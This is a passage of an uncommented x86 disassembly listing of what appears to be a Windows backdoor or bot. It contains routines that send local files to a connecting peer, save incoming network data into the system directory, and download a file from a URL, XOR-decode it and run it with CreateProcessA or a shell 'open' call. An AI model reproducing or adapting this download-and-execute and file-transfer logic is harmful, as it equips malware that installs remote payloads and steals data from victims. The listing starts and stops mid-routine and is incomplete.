		call	sub_415D38
		pop	ecx
		push	ebx
		call	dword_4CBA7C	; closesocket
		push	[ebp+var_10]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread


loc_4160FE:				; CODE XREF: sub_416000+A3j
		push	64h
		call	dword_427080	; Sleep
		xor	edi, edi
		mov	esi, 1000h


loc_41610D:				; CODE XREF: sub_416000+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9FC	; recv
		test	eax, eax
		jle	short loc_41616A
		lea	eax, [ebp+var_11B4]
		push	offset asc_42A088 ; "\n"
		push	eax
		call	sub_41C8A0
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_419F9D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41616A
		push	64h
		call	dword_427080	; Sleep
		push	0Ah
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	short loc_41610D


loc_41616A:				; CODE XREF: sub_416000+130j
					; sub_416000+154j
		lea	eax, [ebp+var_11B4]
		push	offset unk_437F90
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_41619D
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_409869
		add	esp, 14h


loc_41619D:				; CODE XREF: sub_416000+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_415D38
		pop	ecx
		push	ebx
		call	dword_4CBA7C	; closesocket
		push	[ebp+var_10]
		call	sub_40B6D6
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread
sub_416000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4161C1	proc near		; DATA XREF: sub_401ACD+7696o

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_4CBA64	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_41620F
		push	offset unk_4380F4
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_41620F:				; CODE XREF: sub_4161C1+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_4CB9E4	; htons
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_4CBA10	; bind
		test	eax, eax
		jz	short loc_41624D
		push	offset unk_4380D0
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_41624D:				; CODE XREF: sub_4161C1+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_4CB988	; getsockname
		push	[ebp+var_2E]
		call	dword_4CB914	; htons
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_41B9C0
		pop	ecx


loc_41627F:				; CODE XREF: sub_4161C1+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_416292
		push	5Fh
		pop	eax
		jmp	short loc_416295
; ---------------------------------------------------------------------------


loc_416292:				; CODE XREF: sub_4161C1+CAj
		movsx	eax, al


loc_416295:				; CODE XREF: sub_4161C1+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_41B9C0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_41627F
		push	ebx
		push	edi
		call	dword_4CBA0C	; listen
		test	eax, eax
		jz	short loc_4162C8
		push	offset unk_437FF4
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_4162C8:				; CODE XREF: sub_4161C1+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		call	dword_4270F8	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_4162F2
		push	offset unk_4380B0
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_4162F2:				; CODE XREF: sub_4161C1+125j
		push	esi
		push	eax
		call	dword_427114	; GetFileSize
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA24	; inet_addr
		push	eax
		call	dword_4CB9E0	; htonl
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_438098
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_409869
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_4CB9CC	; select
		test	eax, eax
		jg	short loc_4163A2
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_438080
		push	eax
		push	[ebp+var_1FC]
		call	sub_409869
		jmp	loc_4164C6
; ---------------------------------------------------------------------------


loc_4163A2:				; CODE XREF: sub_4161C1+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_4CBA78	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_4163DB
		push	offset unk_43805C


loc_4163C8:				; CODE XREF: sub_4161C1+49j
					; sub_4161C1+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4164C9
; ---------------------------------------------------------------------------


loc_4163DB:				; CODE XREF: sub_4161C1+200j
		push	edi
		call	dword_4CBA7C	; closesocket
		cmp	[ebp+arg_0], esi
		jz	loc_41648D
		mov	edi, 400h


loc_4163F0:				; CODE XREF: sub_4161C1+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_4163FD
		mov	[ebp+var_4], eax


loc_4163FD:				; CODE XREF: sub_4161C1+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_427128	; SetFilePointer
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	dword_4270EC	; ReadFile
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_4CBA34	; send
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_4CB9FC	; recv
		cmp	eax, ebx
		jl	loc_416522
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_416522
		sub	[ebp+arg_0], eax
		jnz	loc_4163F0
		mov	edi, [ebp+var_18]


loc_41648D:				; CODE XREF: sub_4161C1+224j
		push	[ebp+var_8]
		call	dword_427070	; CloseHandle
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_44]
		call	dword_4CBA70	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset unk_438030
		push	eax
		call	sub_41C266


loc_4164C6:				; CODE XREF: sub_4161C1+1DCj
		add	esp, 14h


loc_4164C9:				; CODE XREF: sub_4161C1+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_4164EE
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_409869
		add	esp, 14h


loc_4164EE:				; CODE XREF: sub_4161C1+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_415D38
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416506
		push	edi
		call	dword_4CBA7C	; closesocket


loc_416506:				; CODE XREF: sub_4161C1+33Cj
		push	[ebp+var_1F8]
		call	dword_4CBA7C	; closesocket
		push	[ebp+var_58]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread


loc_416522:				; CODE XREF: sub_4161C1+2AFj
					; sub_4161C1+2BAj
		push	esi
		mov	esi, offset dword_438018
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_409869
		push	esi
		call	sub_415D38
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_4CBA7C	; closesocket
		push	[ebp+var_58]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread
sub_4161C1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416563	proc near		; DATA XREF: sub_401ACD+798o

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	104h
		push	eax
		call	dword_42707C	; GetSystemDirectoryA
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429AD0
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	dword_4270F8	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4165ED
		push	offset unk_438194
		jmp	short loc_416633
; ---------------------------------------------------------------------------


loc_4165ED:				; CODE XREF: sub_416563+81j
		push	eax
		call	dword_427070	; CloseHandle
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41BEA2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_416615
		push	offset unk_438164
		jmp	short loc_416633
; ---------------------------------------------------------------------------


loc_416615:				; CODE XREF: sub_416563+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_415F7A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_416646
		push	offset unk_438144


loc_416633:				; CODE XREF: sub_416563+88j
					; sub_416563+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_416742
; ---------------------------------------------------------------------------


loc_416646:				; CODE XREF: sub_416563+C9j
		mov	esi, 1000h


loc_41664B:				; CODE XREF: sub_416563+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9FC	; recv
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_416712
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4166B3
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_41DB54
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_4CB9E0	; htonl
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA34	; send
		jmp	short loc_41664B
; ---------------------------------------------------------------------------


loc_4166B3:				; CODE XREF: sub_416563+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_438018
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_409869
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_415D38
		push	[ebp+var_4]
		call	sub_41BA3B
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_4CBA7C	; closesocket
		push	[ebp+var_1C]
		call	sub_40B6D6
		pop	ecx
		push	1
		call	dword_4270D4	; ExitThread


loc_416712:				; CODE XREF: sub_416563+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset unk_438118
		push	eax
		call	sub_41C266
		add	esp, 14h


loc_416742:				; CODE XREF: sub_416563+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_416767
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_409869
		add	esp, 14h


loc_416767:				; CODE XREF: sub_416563+1E2j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_415D38
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_416782
		push	[ebp+var_4]
		call	sub_41BA3B
		pop	ecx


loc_416782:				; CODE XREF: sub_416563+214j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_416790
		push	[ebp+arg_0]
		call	dword_4CBA7C	; closesocket


loc_416790:				; CODE XREF: sub_416563+222j
		push	[ebp+var_1C]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread
sub_416563	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167A0	proc near		; DATA XREF: sub_401ACD+619Bo
					; sub_401ACD+69D9o

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_4CB994
		call	dword_4CB8E8	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_416C2C
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	dword_4270F8	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_416867
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_438360
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_41684A
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409869
		add	esp, 14h


loc_41684A:				; CODE XREF: sub_4167A0+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415D38
		push	[ebp+var_48]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread


loc_416867:				; CODE XREF: sub_4167A0+68j
		xor	edi, edi
		call	dword_4270B0	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_41BEB5
		pop	ecx
		mov	[ebp+var_1C], eax


loc_416881:				; CODE XREF: sub_4167A0+1B4j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_4CB8F0	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_4168C5
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_416C92
		pop	ecx
		pop	ecx


loc_4168C5:				; CODE XREF: sub_4167A0+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	dword_4270F0	; WriteFile
		cmp	edi, ebx
		jnb	short loc_416903
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_4168ED
		mov	eax, [ebp+arg_0]


loc_4168ED:				; CODE XREF: sub_4167A0+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch


loc_416903:				; CODE XREF: sub_4167A0+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_416910
		cmp	edi, [ebp+var_3C]
		ja	short loc_41695A


loc_416910:				; CODE XREF: sub_4167A0+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_41692A
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_438338
		jmp	short loc_41693A
; ---------------------------------------------------------------------------


loc_41692A:				; CODE XREF: sub_4167A0+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_438310


loc_41693A:				; CODE XREF: sub_4167A0+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_43E720
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_416881


loc_41695A:				; CODE XREF: sub_4167A0+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_4169AF
		cmp	edi, [ebp+var_3C]
		jz	short loc_4169AF
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_4382E4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409869
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415D38
		add	esp, 28h


loc_4169AF:				; CODE XREF: sub_4167A0+1C4j
					; sub_4167A0+1C9j
		call	dword_4270B0	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	dword_427070	; CloseHandle
		push	[ebp+var_1C]
		call	sub_41BA91
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_416A39
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_416A39
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_4382BC
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409869
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415D38
		add	esp, 28h


loc_416A39:				; CODE XREF: sub_4167A0+241j
					; sub_4167A0+253j
		cmp	[ebp+var_14], esi
		jz	loc_416C79
		cmp	[ebp+var_44], 1
		jz	loc_416B34
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_427690
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_427690
		fstp	[esp+590h+var_590]
		push	offset unk_438284
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_416AB4
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409869
		add	esp, 14h


loc_416AB4:				; CODE XREF: sub_4167A0+2F2j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415D38
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_416C79
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CB950
		cmp	[ebp+var_30], esi
		jnz	loc_416C79
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_438268
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409869
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415D38
		add	esp, 24h
		jmp	loc_416C79
; ---------------------------------------------------------------------------


loc_416B34:				; CODE XREF: sub_4167A0+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_427690
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_427690
		fstp	[esp+590h+var_590]
		push	offset unk_438224
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_416B9C
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409869
		add	esp, 14h


loc_416B9C:				; CODE XREF: sub_4167A0+3DAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415D38
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset byte_43DB98
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		call	dword_427074	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_416C1E
		call	dword_4CB93C	; WSACleanup
		call	sub_4188A6
		push	esi
		call	dword_42706C	; ExitProcess


loc_416C1E:				; CODE XREF: sub_4167A0+46Aj
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_4381F0
		jmp	short loc_416C38
; ---------------------------------------------------------------------------


loc_416C2C:				; CODE XREF: sub_4167A0+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_4381C4


loc_416C38:				; CODE XREF: sub_4167A0+48Aj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_416C6C
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409869
		add	esp, 14h


loc_416C6C:				; CODE XREF: sub_4167A0+4AAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415D38
		pop	ecx


loc_416C79:				; CODE XREF: sub_4167A0+29Cj
					; sub_4167A0+325j ...
		push	[ebp+var_18]
		call	dword_4CBA18	; InternetCloseHandle
		push	[ebp+var_48]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
sub_4167A0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416C92	proc near		; CODE XREF: sub_4167A0+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416CAE


loc_416C9E:				; CODE XREF: sub_416C92+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_416C9E

locret_416CAE:				; CODE XREF: sub_416C92+Aj
		retn
sub_416C92	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CAF	proc near		; CODE XREF: sub_401ACD+5761p
					; sub_401ACD+5896p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41DC5E
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416CAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CC9	proc near		; CODE XREF: sub_41036B+458p
					; sub_41036B+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D3608
		push	0
		push	edi
		call	sub_41BF70
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416CEE:				; CODE XREF: sub_416CC9+5Bj
					; sub_416CC9+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41DD20
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
